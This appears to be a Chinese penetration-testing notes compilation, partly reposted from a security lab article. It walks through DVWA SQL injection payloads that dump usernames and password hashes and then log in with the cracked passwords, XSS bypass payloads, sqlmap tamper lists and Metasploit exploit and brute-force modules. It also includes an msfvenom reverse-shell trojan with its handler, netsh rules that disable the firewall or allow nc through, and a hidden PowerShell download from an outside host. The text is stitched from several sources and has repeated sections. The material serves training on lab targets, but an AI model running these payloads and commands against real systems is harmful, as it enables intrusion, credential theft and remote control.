输出:语法无异常,但是无此id的数据可查询出来
输入:
1
query:SELECT first_name, last_name FROM users WHERE user_id = '1';
输出:查询出对应的ID、First name、Surname 字段名及其值
输入:
1' or 1=1 #
1' or 1=1 --
(末尾为空格)
1' or 'abc'='abc
query:
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 'abc'='abc';
输出:构造的永真条件进行查询,列出了表中的所有的ID、First_name、Surname
通过提交数字1,2,3,4,5,6…来判断用户表中的行数(rows)为5行
从以上可判断出url(http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#)中的参数id存在注入点,存在字符型的SQL注入漏洞
方式1:order by num
若num数值超过了字段数,则查询会报错,从而判断出select语句所查询字段的数目
输入:
1' order by 2 #
1' order by 3 #
输出:
以上,用1' order by 2 #
进行提交,可正常查询出ID=1的2个字段值;用1' order by 3 #
进行提交,则会出现异常提示。说明此处的select查询语句中查询的字段有2个
方式2:union select 1,2,3…
若union select后的数字位(不一定是1/2/3,只要有数字占位即可)与实际查询的字段位不完全对应时,查询就会报错,直至调整到不报错时的占位个数,从而判断实际查询的字段数
输入:
1' union select 1 #
1' union select 1,2 #
1' union select 1,2,3 #
输出:
以上,只有1' union select 1,2 #
构造的语句才能正常匹配出字段值,相应的查询字段数=2
在页面上会显示从select语句中选取的字段,通过以上方式2中的 union select 1,2,3… 可判断出具体显示字段的显示位
显示位的作用:在知道显示位之后,就可以通过显示位来显示我们想知道的数据库信息,如数据库的版本,用户信息等…
输入:
1' union select 1,2 #
输出:
显示位
此处会用到Mysql注入常用的一些函数,可参看此文==>SQL注入常用的内置函数整理(以MySql为例)
1' union select database(),version() #
当前连接的数据库=dvwa;Mysql版本=5.5.53
1' union select user(),2 #
当前连接数据库的用户为root,即超管权限用户
1' union select @@version_compile_os,@@datadir #
服务器的操作系统=Win32;数据库的存储目录为…\MySQL\data\
1' union select 1,schema_name from information_schema.schemata #
Mysql安装后默认会创建三个数据库:information_schema、mysql和test;information_schema
库下的schemata
表中保存着DBMS中的所有数据库名称信息
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
dvwa库中的所有表为:guestbook、users
方式1:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
表字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
获取users表中所有user和password数据,用符合’–'连接每一组中user和password,每一组"user–password"又分别用逗号隔开,集中在一起输出结果
1' union select 1,group_concat(concat_ws('--',user,password)) from users #
or 每一组"user–password"数据信息换行输出
1' union select 1,concat_ws('--',user,password) from users #
1)解密
从以上第6步中获取的用户信息中,任意取一组"user–password"对应值"gordonb–e99a18c428cb38d5f260853678922e03",密码是加密过的,当不知道具体加密方法的时候,可能需要尝试多种解密的方式去破解。
比如可以先用常规的MD5解密检测一下是否能破解,解密传送门:http://www.cmd5.com/
解密后:gordonb–abc123
2)验证数据有效性
回到前端登录界面:http://localhost:8001/dvwa/login.php
将以上解密出的用户信息填写到登录输入框中,提交校验
登录成功
这部分我是直接搬的原文,原网址:https://cloud.tencent.com/developer/article/1595074
本文分享自微信公众号 - 山丘安全攻防实验室(hillsec),作者:陈殷
原始发表时间:2020-02-26
大家好,我是山丘安全攻防实验室作家陈殷,今天将带大家深入浅出理解XSS攻击。
OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以在代码审计中xss漏洞关键就是寻找参数未过滤的输出函数。
攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS。
代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074
存储型XSS的攻击流程:
打开web---->输入一个恶意代码---->恶意代码存放到数据库---->读取页面---->读取数据库---->返回web---->执行恶意代码
下载地址请关注“山丘安全攻防实验室”回复:xssgame 或自行百度下载
篇幅限制,我们挑前五关来测试,后续通关指南可关注公众号推文
首页点击进入
猜测name参数可控,进行paylaod执行:
123;
成功通关
这里我们执行上关的payload试试,但是并未成功执行
查看源代码,XSS语句被赋值给value并且在input标签里,所以我们需要闭合value和input标签就可以正常弹窗了
exp:
1"><script>alert('1');</script>
成功执行
htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志
被转换的预定义的字符有:
使用语法:
$str = htmlspecialchars(string,flags,character-set,double_encode);
string:规定要转换的字符串;
flags :可选参数,规定如何处理引号、无效的编码以及使用哪种文档类型;
确实转义了尖括号,这里可以用单引号闭合value但是没办法闭合input标签,我们添加一个改变事件即可
' onchange=alert`1` //
添加一个改变事件
第四关的代码和第三关的代码大同小异,把源码里面单引号变成了双引号,同样事件弹窗即可
把payload改一下就oki
第五关难度提升,过滤了script和onclick标签,但是没过滤a标签
paylaod:
">:alert(1)"
成功执行
工具:
BurpSuite+XSS Payloads+PayloadFix(工具在文末)
运行环境:python3
工具说明:
该工具可以将每行payload进行处理,以此再进行批量fuzz更好的定位有效攻击代码。
使用方法:
请准备原版XssPayload.txt,每行一个payload,运行PayloadFix.py即可进行payloads处理
Fuzzing思路:
找到一个输入点,生成Payloads,进行paylaods测试
测试实例:
我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074
WAF产品:360主机卫士
环境:PHPStudy 2018 — Apache+PHP
说明:360主机卫士目前已停止维护
测试步骤:
我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074
同样还有很多绕过方法,网上给出了很多文章,这里不在一一举例,只做一个思路进行分析。
至于其他特殊字符是否也有绕过,欢迎各位师傅到交流群或和我讨论。
由于篇幅限制,这里只进行工具推荐,具体操作需要大家手动操作
XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.
https://github.com/s0md3v/XSStrike
Fast, thorough, XSS/SQLi spider. Give it a URL and it’ll test every link it finds for cross-site scripting and some SQL injection vulnerabilities. See FAQ for more details about SQLi detection.
https://github.com/DanMcInerney/xsscrapy
xsssniper is an handy xss discovery tool with mass scanning functionalities.
https://github.com/gbrindisi/xsssniper
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
https://github.com/beefproject/beef
XSS Platform 是一个非常经典的XSS渗透测试管理系统
https://github.com/78778443/xssplatform
XSS修复
XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤。
要想学好XSS,终究还是考察大家对JavaScript和PHP的掌握程度,所以请在学习安全测试之前熟练掌握一门以上的开发语言。
文章为基础文章,若文章有错误请各位大佬指出,更多思路欢迎加山丘安全攻防实验室群或者私聊进行讨论。
文中的工具:
XSS-Games:关注“山丘安全攻防实验室”回复xssgame
PayloadFix:关注“山丘安全攻防实验室”回复payloadfix
PayloadFix 下载链接:https://github.com/evai1/PayloadFix(内附5000+ XSS Payloads)
上期MSF下载链接:https://github.com/evai1/MetaSploit
(说明:转载请联系山丘安全攻防实验室公众号运营开白,或在开头注明来源和作者)
本文分享自微信公众号 - 山丘安全攻防实验室(hillsec),作者:陈殷
原文出处及转载信息见文内详细说明,如有侵权,请联系 [email protected] 删除。
原始发表时间:2020-02-26
CSRF概念
CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
例:
李华在第三方机构有一笔存款,通过对银行的网站发送请求 http://bank.com/tran?user=lihua&count=100&aim=daming可以给他的朋友转账100元。
通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 李华已经成功登陆。
黑客 Xuanhun自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Xuanhun可以自己发送一个请求给银行:http://bank.com/tran?user=lihua&count=100&aim=xuanhun。但是这个请求来自 xuanhun而非 lihua,他不能通过安全认证,因此该请求不会起作用。
这时,xuanhun想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.com/tran?user=lihua&count=100&aim=xuanhun”,并且通过美女qq进行社工攻击,诱使李华首先去登陆账户,随后访问指定url。当李华访问该网站时,上述 url 就会从李华的浏览器发向银行,而这个请求会附带李华浏览器中的 cookie 一起发向银行服务器。
大多数情况下,该请求会失败,因为他要求李华的认证信息。但是,因为李华刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有李华的认证信息。
这时,悲剧发生了,这个 url 请求就会得到响应,钱将从李华 的账号转移到xuanhun的账号,而李华当时毫不知情。等以后 李华发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 xuanhun 则可以拿到钱后逍遥法外。
暴力破解是指使用穷举法,举出所有的可能的结果,然后逐一验证是否正确。
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。
这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式。
逻辑漏洞是指由于程序逻辑输入管控不严,导致程序不能够正常处理或处理错误,一般出现在登录注册、密码找回、信息查看、交易支付金额等。
例:
逻辑漏洞 - 任意用户密码重置
https://cloud.tencent.com/developer/article/1607702
由于验证码在本地生产导致的任意用户注册
发送手机号验证码请求并拦截,发现在请求中已经生成了验证码,所以记下验证码后放包==》填写信息==》注册成功
无限制使用一元买价值899的vip会员
发起一个正常的购买请求,拦截请求数据包,修改参值,购买成功
注:coupon=优惠券,discount=折扣,product=这里可以看出来是一年的vip
对登录账号框进行FUZZ
无验证码==》尝试admin、admin==》提醒账号不存在==》使用用户名字典
对登录h密码框进行FUZZ
无验证码==》尝试admin、admin==》提醒密码错误==》使用密码字典
对未知URL参数进行FUZZ
访问url报错→对url参数在burpsuite的intruder进行添加字典爆破→发现有效参数有:”path=/etc/passwd”
见上文。
sqlmap是一款基于python2的强大的支持多种数据库的跨平台SQL注入检测工具
中文 | 英文 | 缩写 |
---|---|---|
数据库管理系统 | database admin | DBA |
数据库 | dabase | DB |
数据表 | table | T |
字段 | columns | -C |
SQLMAP tamper
使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。
部分防护系统的缩写:
WAF:Web应用程序防火墙,Web Application Firewall
IPS:入侵防御系统, Intrusion Prevention System
IDS:入侵检测系统,Intrusion Detection System
--tamper=TAMPER
利用给定的脚本进行篡改注入数据。
其用法可举例说明:
python sqlmap.py -u “http://…/?uname=admin&pwd=pass123” --level=5 --risk=3 -p “uname” --tamper=xxx.py
表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测
SQLMap目录中的所有tamper
tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
通用的测试tamper
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
MSSQL(Microsoft SQL Servre)
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
MySQL
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
charunicodeencode.py
功能:对字符串进行Unicode格式转义编码
平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
举例:SELECT FIELD FROM TABLE %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
charencode.py
功能:采用url格式编码1次
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT FIELD FROM%20TABLE %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞
一款躺着收洞的神器
xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:
检测速度快。发包速度快; 漏洞检测算法高效。
支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。
代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。
高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。
安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。
https://github.com/chaitin/xray/releases
Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
https://blog.csdn.net/qq_42058062/article/details/81036741
https://www.freebuf.com/articles/system/34571.html
Metasploitable2是一个虚拟机文件,从网上下载解压之后就可以直接使用,不需要自己安装。
用户名是 :msfadmin密码是: msfadmin
Metasploitable2漏洞列表:
序号 | 漏洞 |
---|---|
1、 | 弱口令漏洞(如vnc、mysql、PostgreSQL等) |
2、 | Samba MS-RPC Shell 命令注入漏洞 |
3、 | Vsftpd源码包后门漏洞 |
4、 | UnreallRCd后门漏洞 |
5、 | Linux NFS共享目录配置漏洞 |
6、 | Java RMI SERVER 命令执行漏洞 |
7、 | Tomcat管理台默认口令漏洞 |
8、 | root用户弱口令漏洞(SSH爆破) |
9、 | Distcc后门漏洞 |
10、 | Samba sysmlink 默认配置目录遍历漏洞 |
11、 | PHP CGI参数注入执行漏洞 |
12、 | Druby远程代码执行漏洞 |
13、 | Ingreslock 后门漏洞 |
14、 | Rlogin 后门漏洞 |
Samba MS-RPC Shell 命令注入漏洞
漏洞产生原因:传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行。
使用search usermap来搜索攻击模块
> 复现:攻击机:kali linux IP:192.168.138.134
> 靶机:Metasploitable2 IP:192.168.138.140
exploit/multi/samba/usermap_script
Vsftpd源码包后门漏洞
漏洞产生原因:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“”为结尾,服务器就会在6200端口监听,并且能够执行任意恶意代码。
> 复现:攻击机:kali linux IP:192.168.138.134
> 靶机:Metasploitable2 IP:192.168.138.140
use exploit/unix/ftp/vsftpd_234_backdoor
UnreallRCd后门漏洞
漏洞产生原因:在2009年11月到2010年6月间分布于某些镜面站点的UNreallRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者就能够执行任意代码。使用search unreal来搜索攻击模块
> 复现:攻击机:kali linux IP:192.168.138.134
> 靶机:Metasploitable2 IP:192.168.138.140
exploit/unix/irc/unreal_ircd_3281_backdoor
查找模块
auxiliary/scanner/portscan/tcp 可批量扫描指定端口的主机
set rhosts 192.168.138.1-255
Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,windows2003、windows2008、windows2008 R2、windows xp * 系统都会遭到攻击,该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的 。CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。这个漏洞是今年来说危害严重性最大的漏洞,换句话说,该漏洞是“可传播的”,这意味着任何利用该漏洞的恶意软件都可能从受影响的计算机传播到受影响的计算机,就像2017年WannaCry恶意软件在全球蔓延一样,跟之前的勒索,永恒之蓝病毒差不多。
环境搭建
系统:windows 2008 R2
补丁编号:KB4499175
ftp服务
文件传输协议,是用于在网络上进行文件传输的一套标准协议。
破解成功之后可查看是否有文件上传权限,若有,可进一步利用,若没有,则可以获取一些敏感数据。
• 默认端口:21
• 模块位置:auxiliary/scanner/ftp/ftp_login
telnet服务
Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式,传输方式为明文传输。
• 默认端口:23
• 模块位置:auxiliary/scanner/telnet/telnet_login
vnc服务
VNC (Virtual Network Console)是虚拟网络控制台的缩写,是一款远程控制工具。
• 默认端口:5900
• 模块位置:auxiliary/scanner/vnc/vnc_login
samba服务
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,是一种在局域网上共享文件和打印机的一种通信协议。
• 默认端口:445
• 模块位置:auxiliary/scanner/smb/smb_login
ssh服务
SSH 为建立在应用层基础上的安全协议,数据加密传输。
• 默认端口:22
• 模块位置:auxiliary/scanner/ssh/ssh_login
mysql 服务
MySQL是一个关系型数据库管理系统,root登录之后可执行系统命令。
• 默认端口:3306
• 模块位置:auxiliary/scanner/mysql/mysql_login
使用mysql口令破解模块,这里一定要自定义一个密码字典,尽管它选项required是no,但是还是需要配置
mssql服务
Mssql(sql server)是一个关系型数据库管理系统,使用sa登录之后可以使用xp_cmdshell执行系统命令。
• 默认端口:1433
• 模块位置:auxiliary/scanner/mssql/mssql_login
oracle服务
oracle是一个关系型数据库管理系统。
• 默认端口:1521
• 模块位置:auxiliary/scanner/oracle/oracle_login
postgresql服务
版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。
• 默认端口:5432
• 模块位置:auxiliary/scanner/postgres/postgres_login
http 登录认证(路由器)
支持的路由器:dlink
• 默认端口:80
• 模块位置:
auxiliary/scanner/http/dlink_dir_300_615_http_login
auxiliary/scanner/http/dlink_dir_615h_http_login
auxiliary/scanner/http/dlink_dir_session_cgi_http_login
PcAnywhere
PcAnywhere是一款远程控制软件,你可以将你的电脑当成主控端去控制远方另一台同样安装有pcANYWHERE的电脑(被控端)。
• 默认端口:5631
• 模块位置:auxiliary/scanner/pcanywhere/pcanywhere_login
ftp匿名登录
使用用户名为anonymous登录ftp服务器。
• 默认端口:21
• 模块位置:auxiliary/scanner/ftp/anonymous
tomcat登录破解
• 默认端口:8080
• 模块位置:auxiliary/scanner/http/tomcat_mgr_login
MSF
•生成方式:利用msf模块中的msfvenom模块
•原理:msfvenom是msfpayload、msfencode的结合体,利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
•云主机 Ubuntu windows
使用说明:
参数 | 含义 |
---|---|
-p, | –payload 使用指定的payload |
-l, | –list [module_type] 列出指定模块可用的payloads,包括payloads、encoders、nops、all |
-n, | –nopsled 为payload指定一个 nopsled 长度 |
-f, | –format 指定输出格式,如exe等 |
-e, | –encoder 使用编码器 |
-a, | –arch 指定payload构架(x86、x64) |
–platform | 指定payload平台 |
-s, | –space 指定payload攻击荷载的最大长度 |
-b, | –bad-chars 指定规避字符集,如: '\x00\xff‘ |
-i, | –iterations 指定编码次数 |
-c, | –add-code 指定一个附加的win32 shellcode 文件 |
-x, | –template 指定一个可执行文件作为模板 |
-k, | –keep payload自动分离并注入到新的进程 |
-o, | –out 保存生成的payload |
-v, | –var-name 指定自定义变量 |
-h, | –help 显示帮助文件 |
msfvenom --list platforms
显示支持的平台
msfvenom --list formats
显示支持的格式
msfvenom编码器
msfvenom --list encoders
metasploit生成windows木马并尝试提权
攻击机ip:192.168.30.133
靶机ip:192.168.30.130
攻击端口:12346
生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.30.133 lport=12346 -f exe -o wind.exe
lhost为攻击机ip
lport为攻击机端口
接着我们要使用到一个后门模块,配置一个反弹会话处理程序,叫做exploit/multi/handler
use exploit/multi/handler
msf远控
set lhost 192.168.30.133
set lport 12346
在靶场运行chenx.exe
成功建立连接
比如:sysinfo
输入shell进入交互式cmd
chcp 65001修正
关于漏洞响应平台
互联网漏洞提交
专属厂商漏洞提交
SRC: Security Response Center
相关法律法规
厂商测试说明文档
挖洞
威胁情报
无限制短信轰炸导致资金消耗
拦截一个请求验证码的数据包,发现在手机号后添加:%20和任意英文字母都可以绕过
利用思路:Python写一个循环,每次在手机号末尾添加随机英文组合或叠加%20,发送100w次请求
无限制使用一元买价值899的vip会员
发起一个正常的购买请求,拦截请求数据包,修改参值,购买成功
注:coupon=优惠券,discount=折扣,product=这里可以看出来是一年的vip
对登录密码框进行FUZZ
无验证码==》尝试admin、admin==》提醒密码错误==》使用密码字典
查询网络配置
ipconfig /all
主DNS后缀 可以判断是否有域
查询用户列表
net user
实际在做渗透测试时,会发现用户名成规律 gcb-003,gcb-004
可以摸索和推测整个域的命名方式
查看管理员组
net localgroup administrator
查看在线用户query user ||qwinsta
,在远程登录的时候要看一下
查询进程
tasklist /v
wmic process list brief
查询系统
systeminfo
查看安装软件以及版本,路径等
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
防火墙
修改防火墙配置(关闭防火墙动静可能会很大)netsh advfirewall set allprofiles state off
A. Windows Server 2003系统及之前版本,允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
B. Windows Server 2003之后系统版本
允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
C. 允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389
Powershell远程下载文件
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://space.search-exp.com/index.php?share/file&user=1&sid=EjhymeYZ','powerview.ps1');
Restricted 默认权限 不允许执行任何脚本
Allsigned 只允许运行证书验证的脚本
Unrestricted 执行任意脚本
RemoteSigned 网络脚本要进行签名
set-executionpolicy unrestricted
Powershell – powerview
Import-Module .\PowerView.ps1
Powerview中常用命令
get-netdomain
当前所在域名称
get-netuser
所有用户详细信息
get-netdomaincontroller
所有域控